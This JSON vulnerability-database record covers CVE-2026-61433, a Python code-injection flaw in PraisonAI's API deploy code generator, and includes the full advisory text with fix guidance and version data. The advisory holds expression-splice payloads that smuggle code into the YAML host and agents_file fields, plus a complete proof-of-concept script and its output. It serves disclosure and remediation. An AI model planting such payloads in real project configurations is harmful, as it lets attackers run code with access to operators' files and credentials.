{"schema":"threatline.record/2","record":{"id":"CVE-2026-61433","aliases":["GHSA-79fv-7hq9-w7xg","PYSEC-2026-4251"],"summary":"PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source","details":"# API deploy code generator embeds unescaped YAML fields into Python source\n\n## Summary\n\nPraisonAI's API deployment generator copies `deploy.api.host` from `agents.yaml` directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.\n\n## Technical Details\n\nThe vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`.\n\nThe current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax:\n\n```python\ndef generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str:\n    ...\n    code = f'''\"\"\"\n...\n        praisonai = PraisonAI(agent_file=\"{agents_file}\")\n...\n        \"agent_file\": \"{agents_file}\"\n...\n    app.run(\n        host='{config.host}',\n        port={config.port},\n        debug={config.reload}\n    )\n'''\n```\n\nThe violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:\n\n```text\n' + (__import__(\"pathlib\").Path(\"poc.txt\").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '\n```\n\nThe generated startup code then becomes equivalent to:\n\n```python\napp.run(\n    host='' + (__import__(\"pathlib\").Path(\"poc.txt\").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '',\n    port=8005,\n    debug=False,\n)\n```\n\nThat expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.\n\n`agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `\" + (<side effect> and \"\") + \"` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value.\n\n## PoV\n\nThe following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check.\n\n```python\nfrom pathlib import Path\nimport json\nimport sys\nimport tempfile\nimport types\n\nimport yaml\n\n\ndef install_stubs():\n    class FakeApp:\n        def __init__(self, name):\n            self.name = name\n\n        def route(self, *args, **kwargs):\n            def deco(func):\n                return func\n\n            return deco\n\n        def run(self, *args, **kwargs):\n            return None\n\n    flask = types.ModuleType(\"flask\")\n    flask.Flask = FakeApp\n    flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {\"message\": \"hello\"})\n    flask.jsonify = lambda obj: obj\n    sys.modules[\"flask\"] = flask\n\n    flask_cors = types.ModuleType(\"flask_cors\")\n    flask_cors.CORS = lambda app: app\n    sys.modules[\"flask_cors\"] = flask_cors\n\n    praisonai_mod = types.ModuleType(\"praisonai\")\n\n    class FakePraisonAI:\n        def __init__(self, agent_file):\n            self.agent_file = agent_file\n\n        def run(self):\n            return \"ok\"\n\n    praisonai_mod.PraisonAI = FakePraisonAI\n    sys.modules[\"praisonai\"] = praisonai_mod\n\n\ndef main(repo):\n    sys.path.insert(0, str(Path(repo) / \"src\" / \"praisonai\"))\n    from praisonai.deploy.api import generate_api_server_code\n    from praisonai.deploy.models import APIConfig\n    from praisonai.deploy.schema import validate_agents_yaml\n\n    install_stubs()\n\n    with tempfile.TemporaryDirectory() as tmp:\n        tmp_path = Path(tmp)\n        host_marker = tmp_path / \"host-marker.txt\"\n        file_marker = tmp_path / \"agent-file-marker.txt\"\n        host_payload = \"' + (__import__(\\\"pathlib\\\").Path(\" + repr(str(host_marker)) + \").write_text(\\\"DEPLOY_API_HOST_CODE_EXECUTED\\\") and \\\"\\\") + '\"\n        agents_yaml = tmp_path / \"agents.yaml\"\n        agents_yaml.write_text(yaml.safe_dump({\n            \"deploy\": {\n                \"type\": \"api\",\n                \"api\": {\"host\": host_payload, \"port\": 8005, \"auth_enabled\": False},\n            },\n            \"agents\": [{\"name\": \"demo\", \"role\": \"demo\", \"goal\": \"demo\"}],\n        }))\n        parsed_config = validate_agents_yaml(str(agents_yaml))\n\n        results = []\n        for label, config in [\n            (\"safe_host\", APIConfig(host=\"127.0.0.1\", auth_enabled=False)),\n            (\"malicious_host_from_yaml\", parsed_config.api),\n        ]:\n            host_marker.unlink(missing_ok=True)\n            code = generate_api_server_code(\"agents.yaml\", config)\n            compile(code, f\"<generated-{label}>\", \"exec\")\n            exec(code, {\"__name__\": \"__main__\"})\n            results.append({\n                \"case\": label,\n                \"compiled\": True,\n                \"host_preserved_by_yaml_parser\": config.host == host_payload if label.startswith(\"malicious\") else None,\n                \"marker_exists_after_startup\": host_marker.exists(),\n                \"marker_contents\": host_marker.read_text() if host_marker.exists() else None,\n                \"generated_contains_raw_host\": config.host in code,\n            })\n\n        file_payload = \"\\\" + (__import__(\\\"pathlib\\\").Path(\" + repr(str(file_marker)) + \").write_text(\\\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\\\") and \\\"\\\") + \\\"\"\n        file_marker.unlink(missing_ok=True)\n        code = generate_api_server_code(file_payload, APIConfig(host=\"127.0.0.1\", auth_enabled=False))\n        compile(code, \"<generated-agent-file>\", \"exec\")\n        namespace = {\"__name__\": \"generated_agent_file\"}\n        exec(code, namespace)\n        namespace[\"list_agents\"]()\n        results.append({\n            \"case\": \"malicious_agent_file_route_value\",\n            \"compiled\": True,\n            \"marker_exists_after_list_agents\": file_marker.exists(),\n            \"marker_contents\": file_marker.read_text() if file_marker.exists() else None,\n            \"generated_contains_raw_agent_file\": file_payload in code,\n        })\n\n    print(json.dumps(results, indent=2))\n    return 0 if results[1][\"marker_exists_after_startup\"] and results[2][\"marker_exists_after_list_agents\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else \".\"))\n```\n\n## PoC\n\nCommand used against current source:\n\n```sh\nuv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI\n```\n\nDecisive output:\n\n```json\n[\n  {\n    \"case\": \"safe_host\",\n    \"compiled\": true,\n    \"host_preserved_by_yaml_parser\": null,\n    \"marker_exists_after_startup\": false,\n    \"marker_contents\": null,\n    \"generated_contains_raw_host\": true\n  },\n  {\n    \"case\": \"malicious_host_from_yaml\",\n    \"compiled\": true,\n    \"host_preserved_by_yaml_parser\": true,\n    \"marker_exists_after_startup\": true,\n    \"marker_contents\": \"DEPLOY_API_HOST_CODE_EXECUTED\",\n    \"generated_contains_raw_host\": true\n  },\n  {\n    \"case\": \"malicious_agent_file_route_value\",\n    \"compiled\": true,\n    \"marker_exists_after_list_agents\": true,\n    \"marker_contents\": \"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\",\n    \"generated_contains_raw_agent_file\": true\n  }\n]\n```\n\nThe `safe_host` negative control compiles and evaluates the generated module without a marker side effect. The `malicious_host_from_yaml` case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The `malicious_agent_file_route_value` case proves the secondary file-path interpolation executes when the generated `/agents` handler evaluates the generated response.\n\n## Impact\n\nIf an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator's environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.\n\n## Suggested Fix\n\nDo not interpolate deployment values directly into generated Python source. Use `repr()` or `json.dumps()` for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace `host='{config.host}'` with a safely encoded literal such as `host={config.host!r}`, and apply the same safe encoding to `agents_file` in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.\n\n## Affected Package/Versions\n\nPackage: `praisonai`\n\nConfirmed current head: `1620b49f36945d8cc8ee5635b906c960df5097a0`\n\nStatic sweep:\n\n| Target | Result |\n| --- | --- |\n| `v4.5.128` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.58` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.59` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.60` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.62` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.63` | affected; raw `agents_file` and `config.host` interpolation present |\n| current `1620b49f` | affected; raw `agents_file` and `config.host` interpolation present |\n\nSuggested severity: High\n\nSuggested CVSS v3.1:\n\n```text\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\n```\n\nSuggested CWEs:\n\n- CWE-94: Improper Control of Generation of Code\n- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code\n- CWE-116: Improper Encoding or Escaping of Output\n\n## Advisory History\n\nThe closest same-generator comparator is `GHSA-8444-4fhq-fxpq`, \"PraisonAI deploy --type api emits a Flask server with authentication disabled by default.\" That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because `generate_api_server_code()` emits deployment strings as Python syntax. The exploit primitive is generated-source injection from `deploy.api.host` and `agents_file`, not unauthenticated request access to the generated API.\n\nThis is also distinct from `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in `generate_api_server_code()`.\n\nAgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report's root cause is unsafe code generation before the server handles traffic.\n\n## References\n\n- `src/praisonai/praisonai/deploy/api.py`: `generate_api_server_code()` and `start_api_server()`\n- `src/praisonai/praisonai/deploy/main.py`: `Deploy.from_yaml()` and API/Docker deployment paths\n- `src/praisonai/praisonai/cli/features/deploy.py`: CLI deployment handler\n- `GHSA-8444-4fhq-fxpq`: prior `praisonai deploy --type api` generated API server authentication-default issue\n- `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`: prior generated API server authentication issue\n- CWE-94: https://cwe.mitre.org/data/definitions/94.html\n- CWE-95: https://cwe.mitre.org/data/definitions/95.html\n- CWE-116: https://cwe.mitre.org/data/definitions/116.html","categories":["Libraries & packages"],"product":"praisonai","vendor":"MervinPraison","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-79fv-7hq9-w7xg","source_modified_at":"2026-10-08T19:36:31Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"praisonai"},"range":"<= 4.6.77"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-61433","source_modified_at":"2026-07-15T13:25:34.001Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"PraisonAI","vendor":"MervinPraison","versions":[{"version":"0","status":"affected","versionType":"semver","lessThan":"4.6.78"},{"version":"4.6.78","status":"unaffected","versionType":"semver"}],"defaultStatus":"unaffected"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-79fv-7hq9-w7xg","source_modified_at":"2026-10-15T14:55:49.264662650Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"PyPI","name":"praisonai","purl":"pkg:pypi/praisonai"},"ranges":[{"events":[{"introduced":"0"},{"fixed":"4.6.78"}],"type":"ECOSYSTEM"}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.52","0.0.53","0.0.54","0.0.55"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-79fv-7hq9-w7xg","source_modified_at":"2026-10-08T19:36:31Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"praisonai"},"version":"4.6.78"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-61433","source_modified_at":"2026-07-15T13:25:34.001Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"PraisonAI","ecosystem":null},"version":"4.6.78","basis":"first unaffected version stated in the CVE record"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-79fv-7hq9-w7xg","source_modified_at":"2026-10-15T14:55:49.264662650Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"PyPI","name":"praisonai","purl":"pkg:pypi/praisonai"},"version":"4.6.78"}],"cvss":7.8,"severity":"High","kev":{"listed":false},"epss":{"probability":0.0021,"percentile":0.10673,"score_date":"2026-10-23"},"published_at":"2026-07-15T11:25:38.970Z","modified_at":"2026-10-15T14:55:49.264662650Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-79fv-7hq9-w7xg","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-08T19:36:31Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-61433","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-07-15T13:25:34.001Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-79fv-7hq9-w7xg","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-15T14:55:49.264662650Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-61433","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-79fv-7hq9-w7xg","tags":["vendor-advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61433","source":"GitHub Advisory Database"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62173","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0","tags":["patch"]},{"source":"CVE List","url":"https://www.vulncheck.com/advisories/praisonai-before-code-injection-via-api-deployment-generator","tags":["third-party-advisory"]},{"url":"https://github.com/advisories/GHSA-79fv-7hq9-w7xg","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"none","automatable":"no","technical_impact":"total","assessed_at":"2026-07-15T13:20:38.905616Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-15T14:55:49.264662650Z","content_hash":"5f087e92d05d76aca89fde32baaa4d2fb499fab264794ed7c2f1264968630735"}}